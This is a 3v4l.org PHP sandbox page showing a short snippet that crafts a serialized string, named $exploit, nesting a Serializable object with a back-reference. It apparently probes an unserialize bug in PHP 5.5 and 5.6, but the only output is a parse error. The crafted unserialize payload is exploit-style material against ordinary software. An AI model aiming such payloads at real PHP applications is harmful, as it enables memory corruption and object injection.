3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { $data; } $object = new obj(); $object->data = 1; $inner = serialize($object); $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); var_dump($data);
Output for 5.5.24 - 5.5.30, 5.6.8 - 5.6.15
Parse error: syntax error, unexpected '$data' (T_VARIABLE), expecting function (T_FUNCTION) in /in/4raH1 on line 4
Process exited with code 255.

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